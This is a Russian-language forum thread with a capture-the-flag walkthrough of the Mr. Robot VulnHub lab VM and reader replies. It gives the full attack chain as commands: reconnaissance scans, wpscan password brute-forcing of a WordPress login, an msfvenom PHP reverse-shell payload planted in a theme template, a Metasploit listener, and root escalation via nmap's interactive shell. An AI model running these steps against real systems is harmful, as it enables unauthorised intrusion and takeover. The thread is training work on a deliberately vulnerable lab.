CTF. Взлом Mr.Robot VM.

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем Vander, 12 сен 2016.

  1. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    Привет всем! В этой статье речь пойдет о CFT Challenge.

    Capture the Flag (CTF сокращенно) — это хакерские соревнования. Суть игры заключается в том, что в распоряжение командам дается система с набором уязвимых приложений-сервисов. Основная задача – проанализировать систему, найти уязвимости, закрыть их у себя и как можно быстрее, используя найденные уязвимости, взломать системы соперника. В некоторых играх дополнительные очки начисляются за описание уязвимостей в бюллетенях безопасности.
    Взлом такой системы и будет описан ниже. Проникновение осуществляется в рамках уязвимой системы Mr. Robot. Она основана на популярном телесериале, мистер Робот, и имеет три ключа, спрятанные в разных местах. Основная цель состоит в том, чтобы найти все три жетона скрытых в системе. Каждый последующий ключ найти сложнее предыдущего. Целевая система имеет ряд уязвимостей, которые не так уж и сложно обнаружить. Степень подготовки участника может быть на начальном – среднем уровне.
    Приступим.

    upload_2016-9-12_14-34-18.png

    Скачиваем систему Mr.Robot отсюда - https://www.vulnhub.com/entry/mr-robot-1,151/
    В качестве дистрибутива для взлома, мной будет использоваться Kali Linux Rolling.
    Запускаем Mr. Robot, например в VM Virtual Box, затем, находим ее адрес в нашей сети. Используем утилиту netdiscover.

    netdiscover – активный-пассивный сканер-разведчик адресов беспроводных сетей без DHCP сервера.

    > netdiscover

    upload_2016-9-12_14-35-27.png


    Получаем информацию обо всех адресах в нашей сети. Наш целевой хост это – 192.168.0.105, давайте просканируем его.
    Выбираем агрессивный метод сканирования (-А).

    > nmap –А 192.168.0.105


    upload_2016-9-12_14-36-22.png

    Результат сканирования показал нам открытые порты: 22, 80, 443. Попробуем постучаться на 80-й порт используя браузер.

    upload_2016-9-12_14-37-12.png

    Мы убеждаемся в том, что цель выбрана правильно, работаем дальше.
    Далее мы будем использовать nikto.
    Nikto — утилита для обнаружения файлов, которые копируются при установке сервера в папки по умолчанию. Помимо этого она тестирует web- и CGI-серверы на предмет безопасного использования. Во время работы сканер осуществляет многочисленные запросы на удаленный сервер, что в некоторых случаях может вызвать его падение, поскольку такой же принцип применяется в DoS-атаках.
    Она поможет нам собрать информацию о файлах и других важных вещах, которые мы должны знать о нашей цели. Вводим:

    > nikto

    upload_2016-9-12_14-45-21.png

    Исходя из полученной информации, видим, что на сервере есть файл с именем robots.txt. Анализом его мы и займемся. Красным я выделил несколько важных моментов, которые в дальнейшем нам помогут.
    Открываем robots.txt в браузере:

    upload_2016-9-12_14-48-7.png


    Затем открываем файл key-1-of-3.txt и получаем первый из трех ключей.

    upload_2016-9-12_14-48-33.png

    Следующее, что должно нас заинтересовать, это файл под названием fsocity.dic. Открываем его в браузере, затем сохраняем себе.
    Посмотрим, что находится внутри словаря:

    upload_2016-9-12_14-49-26.png

    Теперь мы знаем, что обладая логином и паролем, мы могли бы получить доступ к цели. Перебирая имена пользователей, при попытке залогиниться в форме -192.168.0.105/wp-login.php мы всегда получали ошибку, что имени пользователя не существует . Но когда мы использовали имя elliot мы получили сообщение об ошибке, что введен неверный пароль.
    И нам точно известно, что elliot правильное имя пользователя и мы просто должны найти пароль для него.
    Будем надеяться, что пароль находиться в том же словаре, где обнаружился логин. Попробуем использовать утилиту wpscan, чтобы найти его.

    WPScan — это сканер уязвимостей WordPress. Предустановлен.

    Пишем:
    > wpscan –url http://192.168.0.102 –wordlist /root/Desktop/fsocity.dic –username elliot

    Где:

    - wpscan -> запускает WPScan

    - url -> обозначает URL по которому будет работать WPScan - http://192.168.0.105 -> наш URL

    - wordlist -> обозначает путь к файлу словаря

    - username -> обозначает имя пользователя

    - elliot -> имя пользователя
    Обработка занимает некоторое время, запасаемся терпением.

    upload_2016-9-12_14-51-40.png

    В результате получаем пароль пользователя elliot.

    Для тех кому ожидание в тягость, предлагаю способ, значительно ускоряющий получение искомого пароля. Обратим внимание на файл license.txt. В нем содержится хеш пароля Эллиота. Найти его поможет встроенный в Firefox плагин firebug.

    Firebug — расширение для браузера Firefox, являющееся консолью, отладчиком, и DOM-инспектором JavaScript, DHTML, CSS, XMLHttpRequest. Firebug показывает в консоли вызвавшую ошибку функцию, стек вызовов функций, вызвавших эту ошибку. Он предупреждает, что правило CSS или метод/свойство JavaScript, которое вы пытаетесь использовать, не существует.

    Текст скрыт в нижней части страницы в заголовке <pre>

    upload_2016-9-12_14-53-55.png

    Попробуем расшифровать его в OWASP Zap, с параметрами base64:

    OWASP Zed прокси Attack (ZAP)
    - это простой в использовании интегрированный инструмент для тестирования на проникновение, а также для поиска уязвимостей в web-приложениях. Программа предназначена для пользователей имеющих опыт работы в сфере информационной безопасности, таких как разработчики и функциональные тестеры. Программа будет полезным дополнением для набора инструментов разработчика.

    upload_2016-9-12_14-54-59.png

    Пароль у нас в руках. Логинимся по адресу 192.168.0.105\wp-login.php используя полученные данные.

    Теперь, когда мы вошли в систему, пришло время сгенерировать код полезной нагрузки и загрузить его в нашу цель. Вернемся в консоль Kali, пишем следующее:

    > msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.105 lport=4444 -f raw

    upload_2016-9-12_14-58-23.png

    Полученный код копируем от <?php до die(); затем вставляем его в шаблон и сохраняем, как показано на скриншоте ниже. В качестве изменяемого шаблона был выбран 404 Template.

    upload_2016-9-12_14-58-58.png

    Сохраняем изменения в теме.
    Запускаем Metasploit и вводим следующие команды:

    > use exploit/multi/handler

    > set payload php/meterpreter/reverse_tcp

    > set lhost 192.168.0.105

    > set lport 4444

    > exploit

    upload_2016-9-12_15-1-35.png


    Открываем путь к шаблону в браузере как показано на скрине:

    upload_2016-9-12_15-1-54.png

    Жмем Enter и получаем открывшуюся сессию meterpreter.
    Переходим в шелл и создаем python – скрипт, который позволит получить нам доступ к псевдо-терминалу pty. Затем выполняем его.

    > echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asd.py

    > python /tmp/asd.py

    upload_2016-9-12_15-2-39.png

    После выполненного выше, нам необходимо получить больше информацию о пользователе.

    > ls -lsa (получаем информацию о текущем каталоге)

    > cd home (переходим в домашний каталог)

    > ls -lsa

    Нашей целью является пользователь под ником robot, выполняем здесь команду:

    > cd robot (переходим в каталог robot)

    upload_2016-9-12_15-3-53.png

    > ls -lsa

    Здесь находится два интересующих нас файла, первый это текстовый документ содержащий ключ, а второй несет в себе пароль зашифрованный алгоритмом хеширования MD5.

    Попробуем посмотреть содержимое файла key-2-of-3.txt.

    > cat key-2-of-3.txt

    upload_2016-9-12_15-4-56.png

    В доступе нам отказано. Давайте попробуем открыть файл MD5 и для этого вводим:

    > cat password.raw-md5

    Выполнение вышеуказанной команды выдаст значение MD5 (хэш-значение) пароля, как вы можете увидеть ниже:

    upload_2016-9-12_15-5-21.png

    Мы будем использовать md5cracker.org (online md5 value cracker), чтобы взломать хеш MD5. Введите хеш MD5, в текстовое поле и нажмите кнопку

    Crack/encrypt.

    upload_2016-9-12_15-6-14.png
    В результате получаем расшифрованное значение MD5:

    upload_2016-9-12_15-6-50.png

    В терминале, пробуем переключиться на пользователя robot, используя полученный пароль.

    > su robot

    > ls –lsa

    Смотрим содержимое файла:
    > cat key-2-of-3.txt

    upload_2016-9-12_15-7-56.png


    Получаем второй ключ!
    Далее введите следующую команду:

    > nmap

    Подробнее об этом сканере можно узнать здесь - https://codeby.net/bezopasnost/kniga-po-nmap-na-russkom/
    Nmap поддерживает опцию, которая называется "интерактивная". С помощью этой опции, пользователи получили возможность выполнять команды оболочки с помощью nmap "shell" (интерактивная оболочка).

    > nmap –interactive

    upload_2016-9-12_15-9-10.png

    Далее по порядку выполняем:

    > !sh

    > id (узнаем ID пользователей)

    > cd /root (перейдем в каталог root)

    upload_2016-9-12_15-9-47.png

    Выполняем команду:

    > ls –lsa

    Видим, что здесь находится третий, последний ключ.

    > cat key-3-of-3.txt

    upload_2016-9-12_15-10-17.png

    Вот и все, все три ключа собраны, задача выполнена. Mr. Robot был успешно взломан. Еще хочу добавить, что это не единственный путь получения ключей, было бы отлично узнать о новых способах в комментариях или в новой теме.
     
    kuklofon, rastachiter, Darius и 8 другим нравится это.
  2. mrx13

    mrx13 Member

    Регистрация:
    31 авг 2016
    Сообщения:
    10
    Симпатии:
    0
    Хотелось бы по больше видеть таких статей, спасибо автору;)
     
  3. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    Будет побольше:cool:
     
  4. Lenar

    Lenar New Member

    Регистрация:
    13 сен 2016
    Сообщения:
    3
    Симпатии:
    1
    Спасибо автор)
     
    Vander нравится это.
  5. Inject0r

    Inject0r Active Member

    Регистрация:
    3 сен 2016
    Сообщения:
    33
    Симпатии:
    9
    А как узнать, что именно elliot - правильный логин? Вручную 2072 пароля с начала списка перебрать нужно что-ли?)
     
  6. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    Не обязательно, из словаря я выбирал только то, что похоже на логин, доходим до Эллиота и все)
     
  7. TommyWhite

    TommyWhite New Member

    Регистрация:
    30 сен 2016
    Сообщения:
    2
    Симпатии:
    0
    upload_2016-10-3_18-35-12.png
    Уперся вот в такую штуку) в это же время в msf така картина
    upload_2016-10-3_18-36-20.png

    P.S. Решено. при генерации payload нужно указвать IP хоста с msf.

    Есть один вопрос, как nmap --interactive выполняет процессы из под root?
     
    #7 TommyWhite, 3 окт 2016
    Последнее редактирование: 3 окт 2016
  8. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    Файл с последним ключом разрешено читать всем пользователям, он только находится в директории /root
     
  9. Darius

    Darius Member

    Регистрация:
    28 сен 2016
    Сообщения:
    5
    Симпатии:
    1
    Доброго времени суток!
    Возникла проблема с шагом загрузки начинки в шаблон 404. Во-первых вопрос (может быть опечатка): в статье указан 105 адрес (цели), а на скринах 101 (который по логике и должен быть, что у вас и сделано). Во-вторых после загрузки php кода в шаблон и запуск прослушки у меня 0 эмоций.

    ps Статья просто супер, с удовольствием "пройду" остальные по этой же тематике :)
    pss По логике в msf - адрес прослушки: 192.168.1.4 - мой хост, цель должна обращаться на мой хост.
     

    Вложения:

  10. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    Я прошу прощения за неточности, везде, где необходимо, указывайте свой хост. Просто я прохожу их и на работе и дома, разные подсети, разные всегда хосты. Впредь буду писать 192.168.0.ХХХ (типа того)
    P.S. Если, что не будет получаться, обязательно помогу.
     
  11. Darius

    Darius Member

    Регистрация:
    28 сен 2016
    Сообщения:
    5
    Симпатии:
    1
    Мелочи правки) Так в чём может быть моя проблема? В приложении на скрине постарался всё показать. Идей пока нет. Как конкретно решил эту проблему @TommyWhite не понял. Указал вроде всё верно.
     
  12. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    Тема сохранена была? Затем при заданных параметрах metasploit, вы обращались к серверу по адресу так?
    Открываем путь к шаблону в браузере как показано на скрине:

    [​IMG]
     
  13. Darius

    Darius Member

    Регистрация:
    28 сен 2016
    Сообщения:
    5
    Симпатии:
    1
    Да, точно, обратиться я не подумал, работает как часы.
    Спасибо !)
     
  14. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    Отлично)
     
    Darius нравится это.
  15. MAdDog719

    MAdDog719 Well-Known Member

    Регистрация:
    16 авг 2016
    Сообщения:
    103
    Симпатии:
    16
    Подскажи плиз. echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asd.py.
    на этом этапе что то не срабатывает. Или ты предварительно создал скрипт на питоне с названием asd? и просто переместил его.
     
  16. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    Привет, следующим шагом запусти скрипт командой:
    > python asd.py
     
  17. kuklofon

    kuklofon Parrot Security OS
    Команда форума

    Регистрация:
    28 фев 2016
    Сообщения:
    221
    Симпатии:
    120
    только сегодня пробовал взломать робота ))) спасибо за статью
     
    Vander нравится это.
  18. MAdDog719

    MAdDog719 Well-Known Member

    Регистрация:
    16 авг 2016
    Сообщения:
    103
    Симпатии:
    16
    У меня консоль ругаеться что нет такого файлика)
     
  19. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    Скоро еще будут)
     
  20. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    307
    Симпатии:
    278
    import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asd.py - проверьте правильность написания этой команды
     
Загрузка...

Поделиться этой страницей